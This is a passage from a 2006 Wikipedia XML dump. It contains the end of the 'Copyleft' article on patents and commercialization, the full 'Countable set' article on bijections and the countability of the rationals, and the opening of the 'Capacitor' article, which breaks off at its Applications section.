Since for most copylefted creations the copyleft characteristic is however only secured by [[copyright law]], patenting mechanisms can threaten the copyleft freedoms attached to such creations, when [[patent law]] is allowed to overrule [[copyright]] (or in any other way limit the free expansion of copylefted creations), which might be the case for the new rules regarding [[patent]]s developed in the [[European Union]] in the early [[21st century]] (see also article on [[Community Patent]]). There seems to be no easy answer to such threats, while it is considered that generally communities developing copylefted products have neither the resources nor the organization for complex patenting procedures. However, an organized answer to such issues seems to start emerging from places like [[Groklaw]]. Also [[IBM]] could be considered by the [[open source community]] as rather an ally, when it comes to combining traditional [[copyright]] protection for copylefted creations with [[patent]]ed inventions, see: [http://www.infoworld.com/article/04/08/04/HNdonofirokeynote_1.html Infoworld article notifying that IBM says it won't assert patents against Linux kernel]

==Commercial exploitation of copylefted creations==
Commercial exploitation of copylefted works differs from [[Intellectual_property_rights#Economic_view|traditional commercial exploitation via Intellectual Property Rights (IPR)]].  Exploitation of copylefted works include circumventing the license by gaining only knowledge of the work, or by a model of services--including consultancy and support--for a copylefted work. Generally, financial profit is expected to be much lower in a &quot;copyleft&quot; business than in a business using proprietary works.  Firms with proprietary products can make money by exclusive sales, by single and transferable ownership, and lucrative litigation rights over the work.

===Development of copylefted industrial products===
The competitiveness of copylefted works to proprietary ones is heightened for businesses able to adopt any of a variety of copylefted products that are already written and therefore lowering software development costs.  Commercial ventures are able to use their resources to make revenues with the software in other ways, and without the worry of other companies getting an unfair advantage.

Copyleft enables volunteer programmers and organizations to feel involved and contribute to software and feel confident any future derivatives will remain accessible to them, and that their contributions are part of a larger goal, like developing the [[Kernel (computer science)|kernel]] of an [[Operating system|OS]]. Copylefting software makes clear the intent of never abusing or hiding any knowledge that is contributed.  Copyleft also ensures that all contributing programmers and companies can not fork proprietary versions to have create an advantage over another.

The argument for investments in [[research and development]] for copyleft businesses may seem weak, by not having exclusivity over the profits gained from the result.  Economically, copyleft is considered the only mechanism able to compete with monopolistic firms that rely on financial exploitation of copyright, trademark and patent laws.

===Commercialization of copylefted industrial products===
Commercial distributors of [[Linux]]-based systems (like [[Red Hat]] and [[Mandriva]]) might have had some ups and downs in finding a successful construction (or [[business model|Business Model]]) for setting up such businesses, but in time it was shown to be possible to base a business on a commercial service surrounding a copylefted creation. One well-known example is Mandrake, who was one of the first companies to succeed on the [[stock market]] after the implosion of large parts of the [[Information technology|IT]] market in the early [[21st century]]. They also had success in convincing government bodies to switch to [[Mandriva|their flavor of Linux]].

However, apart from rare exceptions like [[Debian]], most Linux distributors don't limit their business to copylefted software. There appears to be no real reason why an exploitation of commercial services surrounding copylefted creations would not be possible in small-scale business, which as a business concept is no more complex than making money with a &quot;public domain&quot; recipe for brewing coffee&amp;mdash;successfully exploited by so many cafeteria owners. However, there are few examples so far of [[Small and Medium-sized Enterprise|SME]]s having risked such a leap for their [[core business]]. [[UserLinux]], a project set up by [[Bruce Perens]], supports the emergence of such small-scale business based on ''[[free software]]'', that is, copylefted or otherwise freely licensed computer programs. The [http://www.userlinux.com UserLinux website] showcases some [[Case study|case studies]] and success stories of such businesses...

===Commercialization of copylefted art===
In art the concept of a &quot;commercial service surrounding a copylefted creation&quot; is maybe (even) harder to put in practice than in software development. Public performances could be considered as one of a few possibilities of providing such &quot;services&quot;.

The music industry objected to peer-to-peer file exchanging software, but the [[Electronic Frontier Foundation]] gave some suggestions to resolve the issue.[http://www.eff.org/share/compensation.php]  

Some are more hard on ideas commerce and say: &quot;Intellectual 'property' does not behave like material property. If I give you a physical object I may no longer have use or control of that thing, and may ask for something in return, some payment or barter. But when I give you an idea, I lose nothing. I can still use that idea as I wish. I need ask nothing in return.&quot;

Often copylefted artistic creations can be seen to have a (supporting) [[publicity]] function, promoting other, more traditionally copyrighted creations by the same artist(s). Artists sticking to an uncompromising copylefting of the whole of their artistic output, could, in addition to services and consultancy, revert to some sort of [[Patron#Art|patronage]] (sometimes considered as limiting artistic freedom), or to other sources of income, not related to their artistic production (and so mostly limiting the time they can devote to artistic creation too). The least that can be said is that copylefting in art tends toward keeping the art thus produced as much as possible out of the commercial arena&amp;mdash;which is considered as an intrinsic positive goal by some.

Some artists use copyleft licenses such as the Creative Commons Attribution-NonCommercial-ShareAlike license that don't allow commercial use. In this way they can choose to sell their creations without having to compete with others selling copies of the same works.

Where copylefted art has a large audience of modest means or a small audience of considerable wealth, the act of releasing the art may be offered for sale. See [[Street Performer Protocol]]. This approach can be used for the release of new works, or can be used for the conversion of proprietary works to copylefted works. See [[Blender (software)|Blender]].

==See also==
*[[All Rites Reversed]]
*[[Anti-copyright]]
*[[Copynorms|Copynorms]]
*[[Copyright-free]]
*[[Copyright]]
*[[Creative Commons]]
*[[Intellectual property]]
*[[Intellectual rights]]
*[[Magnatune]]
*[[Open source record label]]
*[[Public domain]]
*[[Share-alike]]
*[[GNU Free Documentation License]]
*[[GNU General Public License]]

==External links==
===General===
*[http://www.libresociety.org Libre Society website]
*[http://www.freeculture.org FreeCulture.org]
*[http://www.eff.org/ The Electronic Frontier Foundation]
*[http://www.eyemagazine.com/opinion.php?id=117&amp;oid=290 Eye Magazine - Copyleft and Copyright article]

===Copyleft and [[Computer software|software]]===
*[http://www.gnu.org/copyleft/copyleft.html What is copyleft?] -- by [[Richard Stallman]]
*[http://www.copyleft.co.nz/ Copyleft New Zealand]
*[http://eu.conecta.it/paper.pdf a European report (2000)] -- Report includes section about possible economic models for Free/Libre and Open Source Software.
*[http://members.optushome.com.au/brendanscott/papers/freesoftwaretco150702.html Why Free Software's Long Run TCO must be lower] - An economic analysis of copylefted software and the software market.
*[http://seattletimes.nwsource.com/html/businesstechnology/2002059632_linus11.html Linus Torvalds on commercial potential of Linux software (October 2004 interview)]

===Copyleft applied in artistic creation===
*[http://artlibre.org/licence.php/lalgb.html The Free Art license]
*[http://www.creativecommons.org Creative Commons website]

===Copyleft Music artists===
*[http://magnatune.com/ MagnaTune], [http://disfish.com/ Dishfish], [http://www.quidmusic.com/ QuidMusic], [http://www.onclassical.com/ OnClassical] - Music Labels that use copyleft
*[http://www.wifiblanes.com/blog/solo/mp3-copyleft/ Mp3 by MuSiK]
*[http://musique-libre.org/ Musique-libre.org] - French based copyleft music portal - archive also in English
*[http://www.dance-industries.com/ Dance-Industries] and [http://www.rock-industries.com/ Rock-Industries] - Copyleft music distribution &quot;the right way&quot;.
*[http://kahvi.org/ Kahvi Collective]
*[http://www.medusarecords.org Medusa Records]
*[http://www.ko-rec.org/ Ko-operative Recording]  
*[http://www.jamendo.com/ Jamendo] - Creative Commons music distributed using BitTorrent and eMule.
*[http://www.youngjung.com/ YJ] - Copyleft multimedia composer and artist Young Jung aka Marshall Rendina. 

[[Category:Copyright law]]
[[Category:Copyleft licensing| ]]

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    </revision>
  </page>
  <page>
    <title>Countable set</title>
    <id>6026</id>
    <revision>
      <id>39078463</id>
      <timestamp>2006-02-10T15:49:41Z</timestamp>
      <contributor>
        <username>Grokmoo</username>
        <id>517688</id>
      </contributor>
      <minor />
      <comment>typo in first line</comment>
      <text xml:space="preserve">In [[mathematics]], a '''countable set''' is a [[set]] with the same [[cardinality]] (i.e., [[cardinal number|number]] of elements) as some [[subset]] of the set of [[natural number]]s. The term was originated by [[Georg Cantor]]; it stems from the fact that the natural numbers are often called ''counting numbers''. A set that is not countable is called ''[[uncountable set|uncountable]]''.

Note that '''countable set''' is sometimes given a more specific definition: sometimes, it is defined as a set with the same cardinality as the set of natural numbers. The difference between the two definitions is that the former defines finite sets to be countable, while the latter does not.

==Definition==

A set ''S'' is called '''countable''' if there exists an [[injective function|injective]] [[function (mathematics)|function]] 
:&lt;math&gt;f\colon S \to \mathbb{N} &lt;/math&gt;

If ''f'' is also [[bijection|bijective]] then ''S'' is called '''countably infinite''' or '''denumerable'''.

As noted above, this terminology is not universal: some authors define ''denumerable'' to mean what we have called &quot;countable&quot;; some define ''countable'' to mean what we have called &quot;countably infinite&quot;.

The next result offers an alternative definition of a countable set ''S'' in terms of a [[surjection|surjective]] function:

'''THEOREM''': Let ''S'' be a nonempty set. The following statements are equivalent:
# ''S'' is countable
# There exists an injective function &lt;math&gt;f\colon S \to \mathbb{N} &lt;/math&gt; 
# There exists a surjective function &lt;math&gt;g\colon \mathbb{N} \to S &lt;/math&gt;

==Gentle introduction==

The elements of a finite set can be listed, say { ''a''&lt;sub&gt;1&lt;/sub&gt;, ''a''&lt;sub&gt;2&lt;/sub&gt;, ..., ''a''&lt;sub&gt;''n''&lt;/sub&gt; }.
However, insofar as a set is a logical description of the properties of its members, it need not be finite.  To understand this, imagine that I ask you: how many words can you make out of Scrabble pieces ''if'' you are allowed to ask me for more pieces no matter how many you used up?  The answer?  As many as you like; you can go forever.  But that doesn't mean they won't each of them be a word made out of scrabble blocks, rather than apple pies or racecars.  Thus an infinite set is still a set, insofar as it is a tool for separating out things with different properties.  

Now what is a countably infinite set?

Technically, a countably infinite set is any set which, in spite of its boundlessness, can be shown [[equivalent set|equivalent]] to the [[natural numbers]] — nothing more, nothing less.  This makes it possible to set apart elements of a countably infinite set using natural numbers as indices, and in turn puts the logic associated with them in very close proximity to the logic associated with the natural numbers themselves; and this makes such sets easily logically tractable.

===A more formal introduction===
It might then seem natural to divide the sets into different classes: put all the sets containing one element together; all the sets containing two elements together; ...; finally, put together all infinite sets and consider them as having the same size.
This view is not tenable, however, under the natural definition of size.

To elaborate this we need the concept of a [[bijection]].
Do the sets { 1, 2, 3 } and { a, b, c } have the same size?

:&quot;Obviously, yes.&quot;
:&quot;How do you know?&quot;
:&quot;Well it's obvious. Look, they've both got 3 elements&quot;.
:&quot;What's a 3?&quot;

This may seem a strange situation but, although a &quot;bijection&quot; seems a more advanced concept than a &quot;number&quot;, the usual development of mathematics in terms of set theory defines functions before numbers, as they are based on much simpler sets.  This is where the concept of a bijection comes in: define the correspondence

:''a'' &amp;harr; 1,  ''b'' &amp;harr; 2,  ''c'' &amp;harr; 3

Since every element of { ''a'', ''b'', ''c'' } is paired with ''precisely one'' element of { 1, 2, 3 } (and vice versa) this defines a bijection.

We now generalise this situation and ''define'' two sets to be of the same size precisely when there is a bijection between them.  For all finite sets this gives us the usual definition of &quot;the same size&quot;.  What does it tell us about the size of infinite sets?

Consider the sets ''A'' = { 1, 2, 3, ... }, the set of positive [[integer]]s and ''B'' = {2,4,6,...}, the set of even positive integers. We claim that, under our definition, these sets have the same size, and that therefore ''B'' is countably infinite. Recall that to prove this we need to exhibit a bijection between them. But this is easy:
1 &amp;harr; 2,  2 &amp;harr; 4,  3 &amp;harr; 6,  4 &amp;harr; 8, ...

As in the earlier example, every element of A has been paired off with precisely one element of B, and vice versa. Hence they have the same size. This gives an example of a set which is of the same size as one of its proper subsets, a situation which is impossible for finite sets.

Likewise, the set of all [[ordered pair]]s of natural numbers is countably infinite, as can be seen by following a path like this one:
:&lt;math&gt;\begin{matrix}
(0,0)      &amp; \rightarrow &amp; (0,1)  &amp;             &amp; (0,2)  &amp; \rightarrow &amp; (0,3)  &amp;        \\
           &amp; \swarrow    &amp;        &amp; \nearrow    &amp;        &amp; \swarrow    &amp;        &amp;        \\
(1,0)      &amp;             &amp; (1,1)  &amp;             &amp; (1,2)  &amp;             &amp; \ddots &amp;        \\
\downarrow &amp; \nearrow    &amp;        &amp; \swarrow    &amp;        &amp;             &amp;        &amp;        \\
(2,0)      &amp;             &amp; (2,1)  &amp;             &amp; \ddots &amp;             &amp;        &amp;        \\
           &amp; \swarrow    &amp;        &amp;             &amp;        &amp;             &amp;        &amp;        \\
(3,0)      &amp;             &amp; \ddots &amp;             &amp;        &amp;             &amp;        &amp;        \\
\downarrow &amp;             &amp;        &amp;             &amp;        &amp;             &amp;        &amp;        \\
\vdots     &amp;             &amp;        &amp;             &amp;        &amp;             &amp;        &amp;
\end{matrix}&lt;/math&gt;

The resulting mapping is like this:
0 &amp;harr; (0,0),  1 &amp;harr; (0,1),  2 &amp;harr; (1,0),  3 &amp;harr; (2,0),  4 &amp;harr; (1,1),  5 &amp;harr; (0,2), …
It is evident that this mapping will cover all such ordered pairs.

Interestingly: if you treat each pair as being the [[numerator]] and [[denominator]] of a [[vulgar fraction]], then for every possible fraction, we can come up with a distinct number corresponding to it. Since every natural number is also a fraction ''N''/1, we can conclude that there are the same number of fractions as there are of whole numbers.

'''THEOREM:''' The [[Cartesian product]] of finitely many countable sets is countable.

This form of triangular [[mapping]] [[recursive]]ly generalizes to [[vector space|vector]]s of finitely many natural numbers by repeatedly mapping the first two elements to a natural number.  For example, (2,0,3) maps to (5,3) which maps to 41.

Sometimes more than one mapping is useful.  This is where you map the set which you want to show countably infinite, onto another set; and then map this other set to the natural numbers. For example, the positive [[rational number]]s can easily be mapped to (a subset of) the pairs of natural numbers because ''p''/''q ''maps to (''p'',&amp;nbsp;''q'').

What about infinite subsets of countably infinite sets?  Do these have fewer elements than '''N'''?

'''THEOREM:''' Every subset of a countable set is countable. In particular, every infinite subset of a countably infinite set is countably infinite.

For example, the set of [[prime number]]s is countable, by mapping the ''n''-th prime number to ''n'':
*2 maps to 1
*3 maps to 2
*5 maps to 3
*7 maps to 4
*11 maps to 5
*13 maps to 6
*17 maps to 7
*19 maps to 8
*23 maps to 9
*etc.

What about sets being &quot;larger than&quot; '''N'''? An obvious place to look would be '''Q''', the set of all [[rational number]]s, which is &quot;clearly&quot; much bigger than '''N'''. But looks can be deceiving, for we assert

'''THEOREM:''' '''Q''' (the set of all rational numbers) is countable.

'''Q''' can be defined as the set of all fractions ''a''/''b'' where ''a'' and ''b'' are integers and ''b'' &gt; 0.
This can be mapped onto the subset of ordered triples of natural numbers (''a'', ''b'', ''c'') such that ''b'' &gt; 0, ''a'' and ''b'' are [[coprime]], and ''c'' &amp;isin; {0, 1} such that ''c'' = 0 if ''a''/''b'' &amp;ge; 0 and ''c'' = 1 otherwise.

*0 maps to (0,1,0)
*1 maps to (1,1,0)
*&amp;minus;1 maps to (1,1,1)
*1/2 maps to (1,2,0)
*&amp;minus;1/2 maps to (1,2,1)
*2 maps to (2,1,0)
*&amp;minus;2 maps to (2,1,1)
*1/3 maps to (1,3,0)
*&amp;minus;1/3 maps to (1,3,1)
*3 maps to (3,1,0)
*&amp;minus;3 maps to (3,1,1)

*1/4 maps to (1,4,0)
*&amp;minus;1/4 maps to (1,4,1)
*2/3 maps to (2,3,0)
*&amp;minus;2/3 maps to (2,3,1)
*3/2 maps to (3,2,0)
*&amp;minus;3/2 maps to (3,2,1)
*4 maps to (4,1,0)
*&amp;minus;4 maps to (4,1,1)
*...

By a similar development, the set of [[algebraic number]]s is countable, and so is the set of [[definable number]]s.

'''THEOREM:''' (Assuming the [[axiom of choice]]) The [[union (set theory)|union]] of countably many countable sets is countable.

For example, given countable sets '''a''', '''b''', '''c''' ...

Using a variant of the triangular enumeration we saw above:

*''a''&lt;sub&gt;0&lt;/sub&gt; maps to 0

*''a''&lt;sub&gt;1&lt;/sub&gt; maps to 1
*''b''&lt;sub&gt;0&lt;/sub&gt; maps to 2

*''a''&lt;sub&gt;2&lt;/sub&gt; maps to 3
*''b''&lt;sub&gt;1&lt;/sub&gt; maps to 4
*''c''&lt;sub&gt;0&lt;/sub&gt; maps to 5

*''a''&lt;sub&gt;3&lt;/sub&gt; maps to 6
*''b''&lt;sub&gt;2&lt;/sub&gt; maps to 7
*''c''&lt;sub&gt;1&lt;/sub&gt; maps to 8
*''d''&lt;sub&gt;0&lt;/sub&gt; maps to 9

*''a''&lt;sub&gt;4&lt;/sub&gt; maps to 10
*...

Note that this only works if the sets '''a''', '''b''', '''c''',... are [[disjoint]]. If not, then the union is even smaller and is therefore also countable by a previous theorem.

'''THEOREM:''' The set of all finite-length [[sequence]]s of natural numbers is countable.

This set is the union of the length-1 sequences, the length-2 sequences, the length-3 sequences, each of which is a countable set (finite Cartesian product). So we are talking about a countable union of countable sets, which is countable by the previous theorem.

'''THEOREM:''' The set of all finite [[subset]]s of the natural numbers is countable.

If you have a finite subset, you can order the elements into a finite sequence. There are only countably many finite sequences, so also there are only countably many finite subsets.

=== Further theorems about uncountable sets ===

* The set of [[real number]]s is uncountable, and so is the set of all [[sequence]]s of natural numbers and the set of all subsets of '''N''' (see [[Cantor's diagonal argument]]).

Remember our example of the scrabble words. Although we can keep asking for more letters from the bag, each word we form is finitely long. The number of possible words is the same as the number of natural numbers. If we permit infinitely long words, then the number of possible &quot;words&quot; is greater than this.

In fact, with infinitely long words, the number of words is the same as the number of real numbers.

We noted earlier that there are no more fractions than there are natural numbers. The [[decimal expansion]] of a fraction is always a finitely long decimal number followed by a repeating decimal.

* 0.33333333333 ...
* 12.648986986986986986 ...
* 1.75

Let's say we use our decimal point to also indicate the start of the repeater: 

* ..3
* 12.648.986
* 1.75.

Then we can express any fraction using a finitely long decimal expansion with repeating bit. It's clear that this is the same situation as with our finitely long scrabble words, and so once again the number of possible fractions is not greater than the number of natural numbers.

=== Mentionable and interesting numbers ===

The set of all ''mentionable'' numbers is countable, where this means a correspondence with finite, and even infinite, strings in English, or any other language.

There is no largest ''interesting integer'', where this means having any notable property. Assume the opposite. The next integer would be the first member of the set of ''uninteresting'' numbers, and would therefore be interesting.

==See also==
* [[Infinity]]
* [[Aleph number]]

[[Category:Set theory]]
[[Category:Infinity]]

[[ar:مجموعة عدودة]]
[[bg:Изброимо множество]]
[[de:Abzählbarkeit]]
[[es:Numerable]]
[[fa:مجموعه شمارا]]
[[fr:Ensemble dénombrable]]
[[ko:가산집합]]
[[is:Teljanlegt mengi]]
[[it:Insieme numerabile]]
[[he:קבוצה בת מנייה]]
[[lt:Skaiti aibė]]
[[nl:Aftelbare verzameling]]
[[ja:可算無限集合]]
[[no:Tellbar]]
[[pl:Zbiór przeliczalny]]
[[ru:Счётное множество]]
[[sr:Пребројиво бесконачан скуп]]
[[fi:Numeroituva joukko]]
[[sv:Uppräknelig]]
[[zh:可數集]]</text>
    </revision>
  </page>
  <page>
    <title>Capacitor</title>
    <id>6027</id>
    <revision>
      <id>42036385</id>
      <timestamp>2006-03-03T10:26:04Z</timestamp>
      <contributor>
        <username>Dalstadt</username>
        <id>880193</id>
      </contributor>
      <minor />
      <comment>/* Ideal and nonideal capacitors */ spelling correction</comment>
      <text xml:space="preserve">:''See [[Capacitor (component)]] for a discussion of specific types.''
A '''capacitor''' is a device that stores [[energy]] in the [[electric field]] created between a pair of conductors on which equal but opposite electric [[charge]]s have been placed. A capacitor is occasionally referred to using the older term '''[[condenser]]'''.
[[Image:Condensators.JPG|thumb|right|270px|Various types of capacitors]][[Image:Photo-SMDcapacitors.jpg|thumb|right|270px|[[Surface-mount technology|SMD]] capacitors: electrolytic at the bottom line, ceramic above them; through-hole ceramic and electrolytic capacitors at the right side for comparison]]



==History==
Circa [[600 BC|600 BC]], [[Thales of Miletus]] recorded that the [[Ancient Greece|Ancient Greeks]] could generate sparks by rubbing balls of [[amber]] on spindles.  This is the [[triboelectric effect]], the mechanical separation of charge in a [[dielectric]].  This effect is the basis of the capacitor. 

In October [[1745]], [[Ewald Georg von Kleist]] of [[Pomerania]] invented the first recorded capacitor: a glass jar coated inside and out with metal.  The inner coating was connected to a rod that passed through the lid and ended in a metal sphere. By layering the insulator between two metal plates, von Kleist dramatically increased charge density.

Before Kleist's discovery became widely known, a Dutch physicist [[Pieter van Musschenbroek]] independently invented a very similar capacitor in January [[1746]].  It was named the [[Leyden jar]], after the University of [[Leyden]] where van Musschenbroek  worked.

[[Benjamin Franklin]] investigated the [[Leyden jar]], and proved that the charge was stored on the glass, not in the water as others had assumed. Originally, the units of capacitance were in 'jars'. A jar is equivalent to about 1 nF.

Early capacitors were also known as ''condensers'', a term that is still occasionally used today. It was coined by [[Alessandro Volta|Volta]] in [[1782]] (derived from the Italian ''condensatore''), with reference to the device's ability to store a higher density of electric charge than a normal isolated conductor.  Most non-English languages still use a word derived from &quot;condensatore&quot;, like the French ''condensateur'', the German ''Kondensator'', or the Spanish ''condensador''.

== Physics ==
=== Overview ===
A capacitor consists of two [[electrode]]s or plates, each of which stores an opposite charge.  These two plates are conductive and are separated by an [[insulator]] or ''[[dielectric]].'' The charge is stored at the surface of the plates, at the boundary with the dielectric.  Because each plate stores an equal but opposite charge, the ''total'' charge in the capacitor is always zero.

[[Image:Capacitor.png|frame|When electric charge accumulates on the plates, an [[electric field]] is created in the region between the plates that is proportional to the amount of accumulated charge.  This electric field creates a potential difference ''V'' = ''E&amp;middot;d'' between the plates of this simple parallel-plate capacitor.]]
[[Image:Dielectric.png|frame|The electrons in the molecules move or rotate the molecule toward the positively charged left plate.  This process creates an opposing electric field that partially annuls the field created by the plates.  (The air gap is shown for clarity; in a real capacitor, the dielectric is in direct contact with the plates.)]]

=== Capacitance===

The capacitor's [[capacitance]] (''C'') is a measure of the amount of [[electric charge|charge]] (''Q'') stored on each plate for a given [[potential difference]] or ''voltage'' (''V'') which appears between the plates:
:&lt;math&gt;C = \frac{Q}{V}&lt;/math&gt;

In [[SI]] units, a capacitor has a capacitance of one [[farad]] when one [[coulomb]] of charge causes a potential difference of one [[volt]] across the plates.  Since the farad is a very large unit, values of capacitors are usually expressed in microfarads (&amp;micro;F), nanofarads (nF) or picofarads (pF). 

The '''capacitance''' is proportional to the surface area of the conducting plate and inversely proportional to the distance between the plates. It is also proportional to the [[permittivity]] of the [[dielectric]] (that is, non-[[electrical conduction|conducting]]) substance that separates the plates.

The capacitance of a parallel-plate capacitor is given by:
:&lt;math&gt;C \approx \frac{\epsilon A}{d}; A \gg d^2&lt;/math&gt; [http://www.ttc-cmc.net/~fme/captance.html]
where &amp;epsilon; is the [[permittivity]] of the dielectric, ''A'' is the area of the plates and ''d'' is the spacing between them.

=== Stored energy ===

As opposite charges accumulate on the plates of a capacitor due to the separation of charge, a voltage develops across the capacitor owing to the electric field of these charges.  Ever increasing work must be done against this ever increasing electric field as more charge is separated.  The [[energy]] (measured in [[joule]]s, in [[SI]]) stored in a capacitor is equal to the amount of work required to establish the voltage across the capacitor, and therefore the electric field.  
The energy stored is given by:

:&lt;math&gt; E_\mathrm{stored} = {1 \over 2} C V^2 \Leftrightarrow E_\mathrm{stored} = {1 \over 2}{Q^2 \over C}&lt;/math&gt;

where V is the voltage across the capacitor.

===Hydraulic model===
As electrical circuitry can be modeled by fluid flow, a capacitor can be modeled as a chamber with a flexible diaphragm separating the input from the output. As can be determined intuitively as well as mathematically, this provides the correct characteristics: the pressure across the unit is proportional to the integral of the current, a steady-state current cannot pass through it but a pulse or alternating current can be transmitted, the capacitance of units connected in parallel is equivalent to the sum of their individual capacitances; etc.

== In electric circuits ==

=== Circuits with DC sources ===

Electrons cannot directly pass across the dielectric from one plate of the capacitor to the other.  When there is a current through a capacitor, electrons accumulate on one plate and electrons are removed from the other plate.  This process is commonly called 'charging' the capacitor even though the capacitor is at all times electrically neutral.  In fact, the current through the capacitor results in the separation rather than the accumulation of electric charge.  This separation of charge causes an electric field to develop between the plates of the capacitor giving rise to voltage across the plates.  This voltage V is directly proportional to the amount of charge separated Q.  But Q is just the time integral of the current I through the capacitor.  This is expressed mathematically as:

:&lt;math&gt;I = \frac{dQ}{dt} = C\frac{dV}{dt}&lt;/math&gt;

where 

:I is the current flowing in the conventional direction, measured in [[ampere]]s

:dV/dt is the time [[derivative]] of voltage, measured in [[volt]]s / [[second]].

:C is the capacitance in farads

For circuits with a constant (DC) voltage source, the voltage across the capacitor cannot exceed the voltage of the source.  Thus, an equilibrium is reached where the voltage across the capacitor is constant and the current through the capacitor is zero.  For this reason, it is commonly said that capacitors block DC current.

=== Circuits with AC sources ===

The capacitor current due to an [[Alternating current|AC]] voltage or current source reverses direction periodically.  That is, the AC current alternately charges the plates in one direction and then the other.  With the exception of the instant that the current changes direction, the capacitor current is non-zero at all times during a cycle.  For this reason, it is commonly said that capacitors 'pass' AC current.  However, at no time do electrons actually cross between the plates.

Since the voltage across a capacitor is the integral of the current, as shown above, with sine waves in AC or signal circuits this results in a phase difference of 90 degrees, the current leading the voltage phase angle. It can be shown that the AC voltage across the capacitor is in [[quadrature]] with the AC current through the capacitor.  That is, the voltage and current are 'out-of-phase' by a quarter cycle.  The amplitude of the voltage depends on the amplitude of the current divided by the product of the frequency of the current with the capacitance, C.  The ratio of the voltage [[amplitude]] to the current amplitude is called the [[reactance]] of the capacitor.  This '''capacitive reactance''' is given by:

:&lt;math&gt;X_C = -\frac{1}{2 \pi f  C} = -\frac{1}{\omega  C}&lt;/math&gt;

where
:''&lt;math&gt;\omega = 2 \pi f&lt;/math&gt;'', the angular frequency measured in radians per second
:''X&lt;sub&gt;C&lt;/sub&gt;'' = capacitive reactance, measured in ohms
:''f'' = [[frequency]] of AC in [[hertz]]
:''C'' = capacitance in farads

and is analogous to the [[Electrical resistance|resistance]] of a [[resistor]].  Clearly, the reactance is [[inversely proportional]] to the frequency.  That is, for very high-frequency alternating currents the reactance approaches zero so that a capacitor is nearly a short circuit to a very high frequency AC source.  Conversely, for very low frequency alternating currents, the reactance increases without bound so that a capacitor is nearly an open circuit to a very low frequency AC source.  This frequency dependent behaviour accounts for most uses of the capacitor (see [[#Applications|&quot;Applications&quot;]], below).

Reactance is so called because the capacitor doesn't dissipate power, but merely stores energy.  In electrical circuits, as in mechanics, there are two types of load, resistive and reactive.  Resistive loads (analogous to an object sliding on a rough surface) dissipate the energy delivered by the circuit, ultimately by [[electromagnetic]] emission (see [[Black body radiation]]), while reactive loads (analogous to a spring or frictionless moving object) store this energy, ultimately delivering the energy back to the circuit.

The ratio of the [[Phasor (electronics) | phasor]] voltage to the phasor current is called the [[impedance]] of a capacitor and is given by:
:&lt;math&gt;Z_C = \frac{1}{j2 \pi f C} = \frac{-j}{2 \pi f C}&lt;/math&gt;
where &lt;math&gt;j=\sqrt{-1}&lt;/math&gt; and is the [[imaginary unit]].

Hence, capacitive reactance is the negative imaginary component of impedance.  The negative sign indicates that the current leads the voltage by 90° for a sinusoidal signal, as opposed to the inductor, where the current lags the voltage by 90°.  

Also significant is that the impedance is inversely proportional to the capacitance, unlike resistors and inductors for which impedances are linearly proportional to resistance and inductance respectively. This is why the series and shunt impedance formulae (given below) are the inverse of the resistive case.  In series, impedances sum.  In shunt, conductances sum.

For an ideal capacitor, the capacitor [[Current_%28electricity%29|current]] is proportional to the time rate of change of the [[voltage]] across the capacitor where the constant of proportionality is the [[capacitance]], C:

:&lt;math&gt;i(t) = C \frac{dv(t)}{dt}&lt;/math&gt;

In the frequency domain, this equation becomes:

:&lt;math&gt;I(j \omega) = j \omega C V(j \omega) \,&lt;/math&gt;

The ratio of the voltage and current in the frequency domain is then:

:&lt;math&gt;Z(j \omega) = \frac{V(j \omega)}{I(j \omega)} = \frac{1}{j \omega C} = \frac{1}{j 2 \pi f C} = - j X_C &lt;/math&gt;

It should be noted that while this relation (between the ''frequency domain'' voltage and current associated with a capacitor) is always true, the ratio of the ''time domain'' voltage and current ''amplitudes'' is equal to &lt;math&gt;X_C&lt;/math&gt; only for sinusoidal (AC) circuits in steady state.

When using the [[Laplace transform]] in circuit analysis, the capacitive impedance is represented in the ''s'' domain by:

:&lt;math&gt;Z(s)=\frac{1}{sC}&lt;/math&gt;

===Capacitors and displacement current===

The physicist [[James Clerk Maxwell]] invented the concept of [[displacement current]], d'''D'''/dt, to make [[Ampere's law]] consistent with conservation of charge in cases where charge is accumulating as in a capacitor.  He interpreted this as a real motion of charges, even in vacuum, where he supposed that it corresponded to motion of [[dipole]] charges in the [[luminiferous aether|ether]].  Although this interpretation has been abandoned, Maxwell's correction to Ampere's law remains valid.

=== Capacitor networks ===
A capacitor can be used to block the DC Current flowing within the circuit and therefore have important applications in coupling of ac signals between amplifier stages, whilst preventing dc from passing.
==== Series or parallel arrangements ====
{{main|Series and parallel circuits}}

Capacitors in a [[Series_and_parallel_circuits|parallel]] configuration each have the same potential difference (voltage).  Their total capacitance (''C&lt;sub&gt;eq&lt;/sub&gt;'') is given by:

:[[image:capacitorsparallel.png|A diagram of several capacitors, side by side, both leads of each connected to the same wires]]

:&lt;math&gt; C_{eq} = C_1  + C_2 + \cdots + C_n  \,&lt;/math&gt;

The reason for putting capacitors in parallel is to increase the total amount of charge stored. In other words, increasing the capacitance we also increase the amount of energy that can be stored as its expression is

:&lt;math&gt; E_\mathrm{stored} = {1 \over 2} C V^2 .&lt;/math&gt;

The current through capacitors in [[Series_and_parallel_circuits|series]] stays the same, but the voltage across each capacitor can be different.  The sum of the potential differences (voltage) is equal to the total voltage.  Their total capacitance is given by:

:[[image:capacitorsseries.png|A diagram of several capacitors, connected end to end, with the same amount of current going through each]]

:&lt;math&gt; \frac{1}{C_{eq}} = \frac{1}{C_1} + \frac{1}{C_2} + \cdots +  \frac{1}{C_n}&lt;/math&gt;

In parallel, the total charge stored is the sum of the charge in each capacitor. While in series, the charge on each capacitor is the same.

What is the reason to put capacitors in series?. We get less capacitance and less charge storage than with either alone (the total voltage is divided between the number of capacitors). It is sometimes done in electronics practice because capacitors have maximum working voltages, and with two &quot;600 volt maximum&quot; capacitors in series, you can increase the working voltage to 1200 volts. Thus, onne possible reason to connect capacitors in series is to increase the overall voltage rating. 

Also, a very large [[resistor]] might be connected across each capacitor to ensure that the total voltage is divided appropriately for the individual ratings, rather than by minute differences in the capacitance values. Another application is for use of polarized capacitors in alternating current circuits; the capacitors are connected in series, in reverse polarity, so that at any given time one of the capacitors is not conducting.

=== Capacitor/inductor duality ===
In mathematical terms, the ideal capacitor can be considered as an inverse of the ideal [[inductor]], because the voltage-current equations of the two devices can be transformed into one another by exchanging the voltage and current terms.  Just as two or more inductors can be magnetically coupled to make a [[transformer]], two or more charged conductors can be electrostatically coupled to make a capacitor.  The ''mutual capacitance'' of two conductors is defined as the current that flows in one when the voltage across the other changes by unit voltage in unit time.

== Applications ==
{{float_begin|side=right}}
|- align = &quot;center&quot;
| 
